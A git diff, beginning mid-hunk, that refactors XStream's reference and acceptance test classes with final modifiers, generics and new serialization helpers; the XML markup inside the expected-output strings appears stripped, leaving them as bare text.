testCircularReferenceToSelfXml() { - Person bob = new Person("bob"); + final Person bob = new Person("bob"); bob.likes = bob; - String expected = "" + final String expected = "" + "\n" + " bob\n" + " \n" @@ -84,15 +85,15 @@ public void testCircularReferenceToSelfXml() { } public void testRing() { - LinkedElement tom = new LinkedElement("Tom"); - LinkedElement dick = new LinkedElement("Dick"); - LinkedElement harry = new LinkedElement("Harry"); + final LinkedElement tom = new LinkedElement("Tom"); + final LinkedElement dick = new LinkedElement("Dick"); + final LinkedElement harry = new LinkedElement("Harry"); tom.next = dick; dick.next = harry; harry.next = tom; xstream.alias("elem", LinkedElement.class); - String expected = "" + final String expected = "" + "\n" + " Tom\n" + " \n" @@ -108,9 +109,9 @@ public void testRing() { } public void testTree() { - TreeElement root = new TreeElement("X"); - TreeElement left = new TreeElement("Y"); - TreeElement right = new TreeElement("Z"); + final TreeElement root = new TreeElement("X"); + final TreeElement left = new TreeElement("Y"); + final TreeElement right = new TreeElement("Z"); root.left = left; root.right = right; left.left = new TreeElement(root.name); @@ -118,7 +119,7 @@ public void testTree() { right.left = left.left; xstream.alias("elem", TreeElement.class); - String expected = "" + final String expected = "" + "\n" + " X\n" + " \n" @@ -139,8 +140,9 @@ public void testTree() { assertEquals(expected, xstream.toXML(root)); } + @Override public void testReplacedReference() { - String expectedXml = "" + final String expectedXml = "" + "\n" + " parent\n" + " \n" @@ -154,15 +156,15 @@ public void testReplacedReference() { replacedReference(expectedXml); } - + public void testCanReferenceDeserializedNullValues() { xstream.alias("test", Mapper.Null.class); - String xml = "" - + "\n" - + " \n" - + " \n" - + ""; - List list = (List)xstream.fromXML(xml); + final String xml = "" // + + "\n" + + " \n" + + " \n" + + ""; + final List list = xstream.fromXML(xml); assertEquals(2, list.size()); assertNull(list.get(0)); assertNull(list.get(1)); diff --git a/xstream/src/test/com/thoughtworks/acceptance/AbsoluteXPathReferenceTest.java b/xstream/src/test/com/thoughtworks/acceptance/AbsoluteXPathReferenceTest.java index 25d7b03b1..485c4573e 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/AbsoluteXPathReferenceTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/AbsoluteXPathReferenceTest.java @@ -1,28 +1,29 @@ /* - * Copyright (C) 2006, 2007, 2009, 2010, 2011 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2010, 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 30. July 2011 by Joerg Schaible by merging AbsolutXPathCircularReferenceTest, * AbsolutXPathDuplicateReferenceTest, AbsolutXPathNestedCircularReferenceTest and * AbsolutXPathReplacedReferenceTest. */ package com.thoughtworks.acceptance; -import com.thoughtworks.xstream.XStream; -import com.thoughtworks.xstream.mapper.Mapper; - import java.util.ArrayList; import java.util.List; +import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.mapper.Mapper; + public class AbsoluteXPathReferenceTest extends AbstractReferenceTest { // tests inherited from superclass + @Override protected void setUp() throws Exception { super.setUp(); xstream.setMode(XStream.XPATH_ABSOLUTE_REFERENCES); @@ -30,15 +31,15 @@ protected void setUp() throws Exception { public void testXmlContainsReferencePaths() { - Thing sameThing = new Thing("hello"); - Thing anotherThing = new Thing("hello"); + final Thing sameThing = new Thing("hello"); + final Thing anotherThing = new Thing("hello"); - List list = new ArrayList(); + final List list = new ArrayList<>(); list.add(sameThing); list.add(sameThing); list.add(anotherThing); - String expected = "" + final String expected = "" + "\n" + " \n" + " hello\n" @@ -53,12 +54,12 @@ public void testXmlContainsReferencePaths() { } public void testCircularReferenceXml() { - Person bob = new Person("bob"); - Person jane = new Person("jane"); + final Person bob = new Person("bob"); + final Person jane = new Person("jane"); bob.likes = jane; jane.likes = bob; - String expected = "" + final String expected = "" + "\n" + " bob\n" + " \n" @@ -71,10 +72,10 @@ public void testCircularReferenceXml() { } public void testCircularReferenceToSelfXml() { - Person bob = new Person("bob"); + final Person bob = new Person("bob"); bob.likes = bob; - String expected = "" + final String expected = "" + "\n" + " bob\n" + " \n" @@ -84,15 +85,15 @@ public void testCircularReferenceToSelfXml() { } public void testRing() { - LinkedElement tom = new LinkedElement("Tom"); - LinkedElement dick = new LinkedElement("Dick"); - LinkedElement harry = new LinkedElement("Harry"); + final LinkedElement tom = new LinkedElement("Tom"); + final LinkedElement dick = new LinkedElement("Dick"); + final LinkedElement harry = new LinkedElement("Harry"); tom.next = dick; dick.next = harry; harry.next = tom; xstream.alias("elem", LinkedElement.class); - String expected = "" + final String expected = "" + "\n" + " Tom\n" + " \n" @@ -108,9 +109,9 @@ public void testRing() { } public void testTree() { - TreeElement root = new TreeElement("X"); - TreeElement left = new TreeElement("Y"); - TreeElement right = new TreeElement("Z"); + final TreeElement root = new TreeElement("X"); + final TreeElement left = new TreeElement("Y"); + final TreeElement right = new TreeElement("Z"); root.left = left; root.right = right; left.left = new TreeElement(root.name); @@ -118,7 +119,7 @@ public void testTree() { right.left = left.left; xstream.alias("elem", TreeElement.class); - String expected = "" + final String expected = "" + "\n" + " X\n" + " \n" @@ -139,8 +140,9 @@ public void testTree() { assertEquals(expected, xstream.toXML(root)); } + @Override public void testReplacedReference() { - String expectedXml = "" + final String expectedXml = "" + "\n" + " parent\n" + " \n" @@ -154,15 +156,15 @@ public void testReplacedReference() { replacedReference(expectedXml); } - + public void testCanReferenceDeserializedNullValues() { xstream.alias("test", Mapper.Null.class); - String xml = "" - + "\n" - + " \n" - + " \n" - + ""; - List list = (List)xstream.fromXML(xml); + final String xml = "" // + + "\n" + + " \n" + + " \n" + + ""; + final List list = xstream.fromXML(xml); assertEquals(2, list.size()); assertNull(list.get(0)); assertNull(list.get(1)); diff --git a/xstream/src/test/com/thoughtworks/acceptance/AbstractAcceptanceTest.java b/xstream/src/test/com/thoughtworks/acceptance/AbstractAcceptanceTest.java index 25e092772..4d553f3fd 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/AbstractAcceptanceTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/AbstractAcceptanceTest.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2003, 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2014, 2015, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -13,6 +13,11 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.NotSerializableException; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; import java.io.StringReader; import java.io.StringWriter; import java.lang.reflect.Array; @@ -24,10 +29,10 @@ import javax.xml.transform.stream.StreamSource; import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.core.util.DefaultDriver; import com.thoughtworks.xstream.io.HierarchicalStreamDriver; import com.thoughtworks.xstream.io.binary.BinaryStreamReader; import com.thoughtworks.xstream.io.binary.BinaryStreamWriter; -import com.thoughtworks.xstream.io.xml.XppDriver; import junit.framework.AssertionFailedError; import junit.framework.TestCase; @@ -56,7 +61,7 @@ protected HierarchicalStreamDriver createDriver() { } catch (final Exception e) { throw new RuntimeException("Could not load driver: " + driver, e); } - return new XppDriver(); + return DefaultDriver.create(); } protected void setupSecurity(final XStream xstream) { @@ -64,19 +69,18 @@ protected void setupSecurity(final XStream xstream) { xstream.allowTypesByWildcard(this.getClass().getName() + "$*"); } - protected Object assertBothWaysNormalized(final Object root, final String xml, final String match, + protected T assertBothWaysNormalized(final Object root, final String xml, final String match, final String templateSelect, final String sortSelect) { try { - // First, serialize the object to XML and check it matches the expected XML. + // first, serialize the object to XML and check it matches the expected XML. final String resultXml = normalizedXML(toXML(root), new String[]{match}, templateSelect, sortSelect); assertEquals(normalizedXML(xml, new String[]{match}, templateSelect, sortSelect), resultXml); - // Now deserialize the XML back into the object and check it equals the original - // object. - final Object resultRoot = xstream.fromXML(resultXml); + // now deserialize the XML back into the object and check it equals the original object. + final T resultRoot = xstream.fromXML(resultXml); assertObjectsEqual(root, resultRoot); - // While we're at it, let's check the binary serialization works... + // while we're at it, let's check the binary serialization works... assertBinarySerialization(root); return resultRoot; @@ -88,17 +92,17 @@ protected Object assertBothWaysNormalized(final Object root, final String xml, f } } - protected Object assertBothWays(final Object root, final String xml) { + protected T assertBothWays(final Object root, final String xml) { - // First, serialize the object to XML and check it matches the expected XML. + // first, serialize the object to XML and check it matches the expected XML. final String resultXml = toXML(root); assertEquals(xml, resultXml); - // Now deserialize the XML back into the object and check it equals the original object. - final Object resultRoot = xstream.fromXML(resultXml); + // now deserialize the XML back into the object and check it equals the original object. + final T resultRoot = xstream.fromXML(resultXml); assertObjectsEqual(root, resultRoot); - // While we're at it, let's check the binary serialization works... + // while we're at it, let's check the binary serialization works... assertBinarySerialization(root); return resultRoot; @@ -106,24 +110,62 @@ protected Object assertBothWays(final Object root, final String xml) { @SuppressWarnings("resource") private void assertBinarySerialization(final Object root) { - // Serialize as binary + // serialize as binary final ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); xstream.marshal(root, new BinaryStreamWriter(outputStream)); - // Deserialize the binary and check it equals the original object. + // deserialize the binary and check it equals the original object. final ByteArrayInputStream inputStream = new ByteArrayInputStream(outputStream.toByteArray()); final Object binaryResult = xstream.unmarshal(new BinaryStreamReader(inputStream)); assertObjectsEqual(root, binaryResult); } - protected Object assertWithAsymmetricalXml(final Object root, final String inXml, final String outXml) { + protected T assertWithAsymmetricalXml(final Object root, final String inXml, final String outXml) { final String resultXml = toXML(root); assertEquals(outXml, resultXml); - final Object resultRoot = xstream.fromXML(inXml); + final T resultRoot = xstream.fromXML(inXml); assertObjectsEqual(root, resultRoot); return resultRoot; } + protected static byte[] serialize(final T object) { + try (ByteArrayOutputStream os = new ByteArrayOutputStream()) { + try (ObjectOutputStream out = new ObjectOutputStream(os)) { + out.writeObject(object); + return os.toByteArray(); + } catch (final NotSerializableException e) { + fail("Serialization of object of type " + + object.getClass().getName() + + " failed because of reference to type " + + e.getMessage(), e); + } + } catch (final IOException e) { + fail("Serialization of object of type " + object.getClass().getName() + " failed", e); + } + return null; + } + + protected static T deserialize(final byte[] data) { + try (InputStream is = new ByteArrayInputStream(data)) { + try (ObjectInputStream out = new ObjectInputStream(is)) { + @SuppressWarnings("unchecked") + final T t = (T)out.readObject(); + return t; + } catch (final ClassNotFoundException e) { + fail("Cannot find class " + e.getMessage() + " during deserialization", e); + throw new AssertionFailedError(); // never reached + } + } catch (final IOException e) { + fail("Deserialization failed reading the InputStream", e); + throw new AssertionFailedError(); // never reached + } + } + + protected T assertJavaSerialization(final T in) { + byte[] data = serialize(in); + return deserialize(data); + } + /** * Allow derived classes to decide how to turn the object into XML text */ @@ -132,7 +174,7 @@ protected String toXML(final Object root) { } /** - * More descriptive version of assertEquals + * Alternative version of assertEquals comparing the XML representation of the two objects. */ protected void assertObjectsEqual(final Object expected, final Object actual) { if (expected == null) { @@ -183,7 +225,8 @@ private String dumpBytes(final byte bytes[]) { } protected String normalizedXML(final String xml, final String[] matches, final String templateSelect, - final String sortSelect) throws TransformerException { + final String sortSelect) + throws TransformerException { final StringBuilder match = new StringBuilder(); for (int i = 0; i < matches.length; i++) { if (i > 0) { @@ -222,4 +265,10 @@ protected String normalizedXML(final String xml, final String[] matches, final S transformer.transform(new StreamSource(new StringReader(xml)), new StreamResult(writer)); return writer.toString(); } + + protected static void fail(final String message, final Throwable cause) { + final AssertionFailedError err = new AssertionFailedError(message); + err.initCause(cause); + throw err; + } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/AbstractReferenceTest.java b/xstream/src/test/com/thoughtworks/acceptance/AbstractReferenceTest.java index 13b7561be..8572564e1 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/AbstractReferenceTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/AbstractReferenceTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2010, 2011, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2010, 2011, 2014, 2015, 2018, 2021 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 30. July 2011 by Joerg Schaible by merging AbstractCircularReferenceTest, * AbstractDuplicateReferenceTest, AbstractNestedCircularReferenceTest and * AbstractReplacedReferenceTest. @@ -17,56 +17,61 @@ import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; +import java.net.URI; +import java.net.URISyntaxException; import java.util.ArrayList; import java.util.List; import com.thoughtworks.acceptance.objects.StandardObject; import com.thoughtworks.acceptance.someobjects.WithNamedList; import com.thoughtworks.xstream.converters.ConversionException; +import com.thoughtworks.xstream.converters.basic.AbstractSingleValueConverter; +import com.thoughtworks.xstream.converters.enums.SimpleEnum; import com.thoughtworks.xstream.core.AbstractReferenceMarshaller; public abstract class AbstractReferenceTest extends AbstractAcceptanceTest { + @Override protected void setUp() throws Exception { super.setUp(); xstream.alias("person", Person.class); xstream.alias("thing", Thing.class); - xstream.allowTypesByWildcard(AbstractReferenceTest.class.getName()+"$*"); + xstream.allowTypesByWildcard(AbstractReferenceTest.class.getName() + "$*"); } public void testReferencesAreWorking() { - Thing sameThing = new Thing("hello"); - Thing anotherThing = new Thing("hello"); + final Thing sameThing = new Thing("hello"); + final Thing anotherThing = new Thing("hello"); - List list = new ArrayList(); + final List list = new ArrayList<>(); list.add(sameThing); list.add(sameThing); list.add(anotherThing); - String xml = xstream.toXML(list); - List result = (List)xstream.fromXML(xml); + final String xml = xstream.toXML(list); + final List result = xstream.fromXML(xml); assertEquals(list, result); } public void testReferencesAreTheSameObjectWhenDeserialized() { - Thing sameThing = new Thing("hello"); - Thing anotherThing = new Thing("hello"); + final Thing sameThing = new Thing("hello"); + final Thing anotherThing = new Thing("hello"); - List list = new ArrayList(); + final List list = new ArrayList<>(); list.add(sameThing); list.add(sameThing); list.add(anotherThing); - String xml = xstream.toXML(list); - List result = (List)xstream.fromXML(xml); + final String xml = xstream.toXML(list); + final List result = xstream.fromXML(xml); + + final Thing t0 = result.get(0); + final Thing t1 = result.get(1); + final Thing t2 = result.get(2); - Thing t0 = (Thing)result.get(0); - Thing t1 = (Thing)result.get(1); - Thing t2 = (Thing)result.get(2); - assertSame(t0, t1); t0.field = "bye"; @@ -78,52 +83,51 @@ public void testReferencesAreTheSameObjectWhenDeserialized() { } public static class Thing extends StandardObject { + private static final long serialVersionUID = 201107L; public String field; - public Thing() { - } - - public Thing(String field) { + public Thing(final String field) { this.field = field; } } - public static class MultRef { - public Object s1 = new Object(); - public Object s2 = s1; + public static class MultRef { + @SuppressWarnings("unchecked") + public T s1 = (T)new Object(); + public T s2 = s1; } public void testMultipleReferencesToObjectsWithNoChildren() { - MultRef in = new MultRef(); + final MultRef in = new MultRef<>(); assertSame(in.s1, in.s2); - String xml = xstream.toXML(in); - MultRef out = (MultRef)xstream.fromXML(xml); + final String xml = xstream.toXML(in); + final MultRef out = xstream.fromXML(xml); assertSame(out.s1, out.s2); } - public void testReferencesNotUsedForImmutableValueTypes() { - MultRef in = new MultRef(); - in.s1 = new Integer(4); + public void testReferencesNotUsedForImmutableValueTypes() throws URISyntaxException { + final MultRef in = new MultRef<>(); + in.s1 = new URI("urn:xstream:1.5"); in.s2 = in.s1; - String xml = xstream.toXML(in); - MultRef out = (MultRef)xstream.fromXML(xml); + final String xml = xstream.toXML(in); + final MultRef out = xstream.fromXML(xml); assertEquals(out.s1, out.s2); assertNotSame(out.s1, out.s2); } public void testReferencesUsedForMutableValueTypes() { - MultRef in = new MultRef(); + final MultRef in = new MultRef<>(); in.s1 = new StringBuffer("hi"); in.s2 = in.s1; - String xml = xstream.toXML(in); - MultRef out = (MultRef)xstream.fromXML(xml); + final String xml = xstream.toXML(in); + final MultRef out = xstream.fromXML(xml); - StringBuffer buffer = (StringBuffer)out.s2; + final StringBuffer buffer = out.s2; buffer.append("bye"); assertEquals("hibye", out.s1.toString()); @@ -133,8 +137,9 @@ public void testReferencesUsedForMutableValueTypes() { public void testReferencesToImplicitCollectionIsNotPossible() { xstream.alias("strings", WithNamedList.class); xstream.addImplicitCollection(WithNamedList.class, "things"); - WithNamedList[] wls = new WithNamedList[]{ - new WithNamedList("foo"), new WithNamedList("bar")}; + @SuppressWarnings("unchecked") + final WithNamedList[] wls = new WithNamedList[]{ + new WithNamedList("foo"), new WithNamedList("bar")}; wls[0].things.add("Hello"); wls[0].things.add("Daniel"); wls[1].things = wls[0].things; @@ -142,8 +147,8 @@ public void testReferencesToImplicitCollectionIsNotPossible() { try { xstream.toXML(wls); fail("Thrown " - + AbstractReferenceMarshaller.ReferencedImplicitElementException.class - .getName() + " expected"); + + AbstractReferenceMarshaller.ReferencedImplicitElementException.class.getName() + + " expected"); } catch (final AbstractReferenceMarshaller.ReferencedImplicitElementException e) { // OK } @@ -152,14 +157,15 @@ public void testReferencesToImplicitCollectionIsNotPossible() { public void testReferencesToElementsOfImplicitCollectionIsPossible() { xstream.alias("strings", WithNamedList.class); xstream.addImplicitCollection(WithNamedList.class, "things"); - WithNamedList[] wls = new WithNamedList[]{ - new WithNamedList("foo"), new WithNamedList("bar")}; + @SuppressWarnings("unchecked") + final WithNamedList[] wls = new WithNamedList[]{ + new WithNamedList("foo"), new WithNamedList("bar")}; wls[0].things.add("Hello"); wls[0].things.add("Daniel"); wls[1].things.add(wls[0]); - String xml = xstream.toXML(wls); - WithNamedList[] out = (WithNamedList[])xstream.fromXML(xml); + final String xml = xstream.toXML(wls); + final WithNamedList[] out = xstream.fromXML(xml); assertSame(out[0], out[1].things.get(0)); } @@ -167,20 +173,21 @@ public void testReferencesToElementsOfImplicitCollectionIsPossible() { public void testReferencesToElementsOfNthImplicitCollectionIsPossible() { xstream.alias("strings", WithNamedList.class); xstream.addImplicitCollection(WithNamedList.class, "things"); - WithNamedList[] wls = new WithNamedList[]{ - new WithNamedList("foo"), new WithNamedList("bar"), new WithNamedList("foobar")}; + @SuppressWarnings("unchecked") + final WithNamedList[] wls = new WithNamedList[]{ + new WithNamedList("foo"), new WithNamedList("bar"), new WithNamedList("foobar")}; wls[1].things.add("Hello"); wls[1].things.add("Daniel"); wls[2].things.add(wls[1]); - String xml = xstream.toXML(wls); - WithNamedList[] out = (WithNamedList[])xstream.fromXML(xml); + final String xml = xstream.toXML(wls); + final WithNamedList[] out = xstream.fromXML(xml); assertSame(out[1], out[2].things.get(0)); } public void testThrowsForInvalidReference() { - String xml = "" // + final String xml = "" // + "\n" + " \n" + " Hello\n" @@ -201,11 +208,8 @@ public static class Person { public Person likes; public Person loathes; - public Person() { - } - - public Person(String name) { - this.firstname = name; + public Person(final String name) { + firstname = name; } } @@ -213,7 +217,7 @@ static class LinkedElement { String name; LinkedElement next; - LinkedElement(String name) { + LinkedElement(final String name) { this.name = name; } } @@ -223,26 +227,26 @@ static class TreeElement { TreeElement left; TreeElement right; - TreeElement(StringBuffer name) { + TreeElement(final StringBuffer name) { this.name = name; } - TreeElement(String name) { + TreeElement(final String name) { this.name = new StringBuffer(name); } } public void testCircularReference() { - Person bob = new Person("bob"); - Person jane = new Person("jane"); + final Person bob = new Person("bob"); + final Person jane = new Person("jane"); bob.likes = jane; jane.likes = bob; - String xml = xstream.toXML(bob); + final String xml = xstream.toXML(bob); - Person bobOut = (Person)xstream.fromXML(xml); + final Person bobOut = xstream.fromXML(xml); assertEquals("bob", bobOut.firstname); - Person janeOut = bobOut.likes; + final Person janeOut = bobOut.likes; assertEquals("jane", janeOut.firstname); @@ -251,21 +255,21 @@ public void testCircularReference() { } public void testCircularReferenceToSelf() { - Person bob = new Person("bob"); + final Person bob = new Person("bob"); bob.likes = bob; - String xml = xstream.toXML(bob); + final String xml = xstream.toXML(bob); - Person bobOut = (Person)xstream.fromXML(xml); + final Person bobOut = xstream.fromXML(xml); assertEquals("bob", bobOut.firstname); assertSame(bobOut, bobOut.likes); } public void testDeepCircularReferences() { - Person bob = new Person("bob"); - Person jane = new Person("jane"); - Person ann = new Person("ann"); - Person poo = new Person("poo"); + final Person bob = new Person("bob"); + final Person jane = new Person("jane"); + final Person ann = new Person("ann"); + final Person poo = new Person("poo"); bob.likes = jane; bob.loathes = ann; @@ -276,11 +280,11 @@ public void testDeepCircularReferences() { jane.likes = jane; jane.loathes = bob; - String xml = xstream.toXML(bob); - Person bobOut = (Person)xstream.fromXML(xml); - Person janeOut = bobOut.likes; - Person annOut = bobOut.loathes; - Person pooOut = annOut.loathes; + final String xml = xstream.toXML(bob); + final Person bobOut = xstream.fromXML(xml); + final Person janeOut = bobOut.likes; + final Person annOut = bobOut.loathes; + final Person pooOut = annOut.loathes; assertEquals("bob", bobOut.firstname); assertEquals("jane", janeOut.firstname); @@ -298,27 +302,28 @@ public void testDeepCircularReferences() { } public static class WeirdThing implements Serializable { + private static final long serialVersionUID = 201107L; public transient Object anotherObject; - private NestedThing nestedThing = new NestedThing(); + final NestedThing nestedThing = new NestedThing(); - private void readObject(ObjectInputStream in) - throws IOException, ClassNotFoundException { + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); anotherObject = in.readObject(); } - private void writeObject(ObjectOutputStream out) throws IOException { + private void writeObject(final ObjectOutputStream out) throws IOException { out.defaultWriteObject(); out.writeObject(anotherObject); } private class NestedThing implements Serializable { - private void readObject(ObjectInputStream in) - throws IOException, ClassNotFoundException { + private static final long serialVersionUID = 201107L; + + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); } - private void writeObject(ObjectOutputStream out) throws IOException { + private void writeObject(final ObjectOutputStream out) throws IOException { out.defaultWriteObject(); } @@ -343,59 +348,76 @@ public void testWeirdCircularReference() { // AbstractNestedCircularReferenceTest$WeirdThing$NestedThing$this$1. // setup - WeirdThing in = new WeirdThing(); + final WeirdThing in = new WeirdThing(); in.anotherObject = in; - String xml = xstream.toXML(in); + final String xml = xstream.toXML(in); // System.out.println(xml + "\n"); // execute - WeirdThing out = (WeirdThing)xstream.fromXML(xml); + final WeirdThing out = xstream.fromXML(xml); // verify assertSame(out, out.anotherObject); } public static class TreeData implements Serializable { + private static final long serialVersionUID = 201107L; String data; TreeData parent; - List children; + List children; - public TreeData(String data) { + public TreeData(final String data) { this.data = data; - children = new ArrayList(); + children = new ArrayList<>(); } - private TreeData(TreeData clone) { + private TreeData(final TreeData clone) { data = clone.data; parent = clone.parent; children = clone.children; } - public void add(TreeData child) { + public void add(final TreeData child) { child.parent = this; children.add(child); } + @Override public int hashCode() { final int prime = 31; int result = 1; - result = prime * result + ((this.children == null) ? 0 : this.children.hashCode()); - result = prime * result + ((this.data == null) ? 0 : this.data.hashCode()); + result = prime * result + (children == null ? 0 : children.hashCode()); + result = prime * result + (data == null ? 0 : data.hashCode()); return result; } - public boolean equals(Object obj) { - if (this == obj) return true; - if (obj == null) return false; - if (!(obj instanceof TreeData)) return false; - TreeData other = (TreeData)obj; - if (this.children == null) { - if (other.children != null) return false; - } else if (!this.children.equals(other.children)) return false; - if (this.data == null) { - if (other.data != null) return false; - } else if (!this.data.equals(other.data)) return false; + @Override + public boolean equals(final Object obj) { + if (this == obj) { + return true; + } + if (obj == null) { + return false; + } + if (!(obj instanceof TreeData)) { + return false; + } + final TreeData other = (TreeData)obj; + if (children == null) { + if (other.children != null) { + return false; + } + } else if (!children.equals(other.children)) { + return false; + } + if (data == null) { + if (other.data != null) { + return false; + } + } else if (!data.equals(other.data)) { + return false; + } return true; } @@ -409,9 +431,10 @@ protected Object writeReplace() { public abstract void testReplacedReference(); - public void replacedReference(String expectedXml) { - TreeData parent = new TreeData("parent"); + public void replacedReference(final String expectedXml) { + final TreeData parent = new TreeData("parent"); parent.add(new TreeData("child") { + private static final long serialVersionUID = 201107L; // anonymous type }); @@ -419,95 +442,96 @@ public void replacedReference(String expectedXml) { xstream.alias("anonymous-element", parent.children.get(0).getClass()); assertEquals(expectedXml, xstream.toXML(parent)); - TreeData clone = (TreeData)xstream.fromXML(expectedXml); + final TreeData clone = xstream.fromXML(expectedXml); assertEquals(parent, clone); } static class Email extends StandardObject { + private static final long serialVersionUID = 201107L; String email; - private final Email alias; + final Email alias; - Email(String email) { + Email(final String email) { this(email, null); } - Email(String email, Email alias) { + + Email(final String email, final Email alias) { this.email = email; this.alias = alias; } } static class EmailList extends StandardObject { - List addresses = new ArrayList(); + private static final long serialVersionUID = 201107L; + List addresses = new ArrayList<>(); Email main; } public void testReferenceElementInImplicitCollection() { - EmailList emails = new EmailList(); + final EmailList emails = new EmailList(); emails.addresses.add(new Email("private@joewalnes.com")); emails.addresses.add(new Email("joe@joewalnes.com")); emails.addresses.add(new Email("joe.walnes@thoughtworks.com")); - emails.addresses.add(new Email("joe@thoughtworks.com", (Email)emails.addresses.get(2))); - emails.main = (Email)emails.addresses.get(1); + emails.addresses.add(new Email("joe@thoughtworks.com", emails.addresses.get(2))); + emails.main = emails.addresses.get(1); xstream.addImplicitCollection(EmailList.class, "addresses", "address", Email.class); - String xml = xstream.toXML(emails); + final String xml = xstream.toXML(emails); assertEquals(emails, xstream.fromXML(xml)); } static class EmailArray extends StandardObject { + private static final long serialVersionUID = 201107L; Email[] addresses; Email main; } public void testReferenceElementInImplicitArrays() { - EmailArray emails = new EmailArray(); - Email alias = new Email("joe.walnes@thoughtworks.com"); + final EmailArray emails = new EmailArray(); + final Email alias = new Email("joe.walnes@thoughtworks.com"); emails.addresses = new Email[]{ - new Email("private@joewalnes.com"), - new Email("joe@joewalnes.com"), - alias, - new Email("joe@thoughtworks.com", alias) - }; + new Email("private@joewalnes.com"), new Email("joe@joewalnes.com"), alias, new Email("joe@thoughtworks.com", + alias)}; emails.main = emails.addresses[1]; xstream.addImplicitArray(EmailArray.class, "addresses", "address"); - String xml = xstream.toXML(emails); + final String xml = xstream.toXML(emails); assertEquals(emails, xstream.fromXML(xml)); } - + public void testImmutableInstancesAreNotReferenced() { xstream.addImmutableType(Thing.class, false); - Thing sameThing = new Thing("hello"); - Thing anotherThing = new Thing("hello"); + final Thing sameThing = new Thing("hello"); + final Thing anotherThing = new Thing("hello"); - List list = new ArrayList(); + final List list = new ArrayList<>(); list.add(sameThing); list.add(sameThing); list.add(anotherThing); - String xml = xstream.toXML(list); - List result = (List)xstream.fromXML(xml); + final String xml = xstream.toXML(list); + final List result = xstream.fromXML(xml); + + final Thing t0 = result.get(0); + final Thing t1 = result.get(1); + result.get(2); - Thing t0 = (Thing)result.get(0); - Thing t1 = (Thing)result.get(1); - Thing t2 = (Thing)result.get(2); - assertEquals(t0, t1); assertNotSame(t0, t1); } - + public void testImmutableInstancesCanBeDereferenced() { - Thing sameThing = new Thing("hello"); - Thing anotherThing = new Thing("hello"); + final Thing sameThing = new Thing("hello"); + final Thing anotherThing = new Thing("hello"); - List list = new ArrayList(); + final List list = new ArrayList<>(); list.add(sameThing); list.add(sameThing); list.add(anotherThing); - String xml = xstream.toXML(list); + final String xml = xstream.toXML(list); xstream.addImmutableType(Thing.class, false); @@ -520,13 +544,63 @@ public void testImmutableInstancesCanBeDereferenced() { xstream.addImmutableType(Thing.class, true); - List result = (List)xstream.fromXML(xml); + final List result = xstream.fromXML(xml); + + final Thing t0 = result.get(0); + final Thing t1 = result.get(1); + final Thing t2 = result.get(2); - Thing t0 = (Thing)result.get(0); - Thing t1 = (Thing)result.get(1); - Thing t2 = (Thing)result.get(2); - - assertEquals(t0, t1); assertSame(t0, t1); + assertNotSame(t0, t2); + assertEquals(t0, t2); + } + + private static class ThingConverter extends AbstractSingleValueConverter { + + @Override + public boolean canConvert(final Class type) { + return type == Thing.class; + } + + @Override + public Object fromString(final String str) { + throw new UnsupportedOperationException(); + } + + @Override + public String toString(final Object obj) { + return ((Thing)obj).field; + } + } + + public void testImmutableEnumInstancesCanBeDereferenced() { + + final Thing green = new Thing("GREEN"); + final List list = new ArrayList<>(); + list.add(green); + list.add(green); + + xstream.allowTypes(SimpleEnum.class); + xstream.alias("simple", Thing.class); + xstream.registerConverter(new ThingConverter()); + final String xml = xstream.toXML(list); + + xstream.alias("simple", SimpleEnum.class); + + try { + xstream.fromXML(xml); + fail("Thrown " + ConversionException.class.getName() + " expected"); + } catch (final ConversionException e) { + assertEquals(SimpleEnum.class.getName(), e.get("referenced-type")); + } + + xstream.addImmutableType(SimpleEnum.class, true); + + final List result = xstream.fromXML(xml); + + final SimpleEnum se0 = result.get(0); + final SimpleEnum se1 = result.get(1); + + assertSame(se0, se1); } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/AliasTest.java b/xstream/src/test/com/thoughtworks/acceptance/AliasTest.java index b7f29cc82..c78a89cd3 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/AliasTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/AliasTest.java @@ -1,19 +1,24 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2013, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2013, 2014, 2018, 2019, 2020, 2023 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 06. March 2004 by Joe Walnes */ package com.thoughtworks.acceptance; +import java.util.ArrayList; +import java.util.LinkedList; +import java.util.List; + import com.thoughtworks.acceptance.objects.Category; import com.thoughtworks.acceptance.objects.Product; import com.thoughtworks.acceptance.objects.Software; +import com.thoughtworks.acceptance.someobjects.Protocol; import com.thoughtworks.acceptance.someobjects.WithList; import 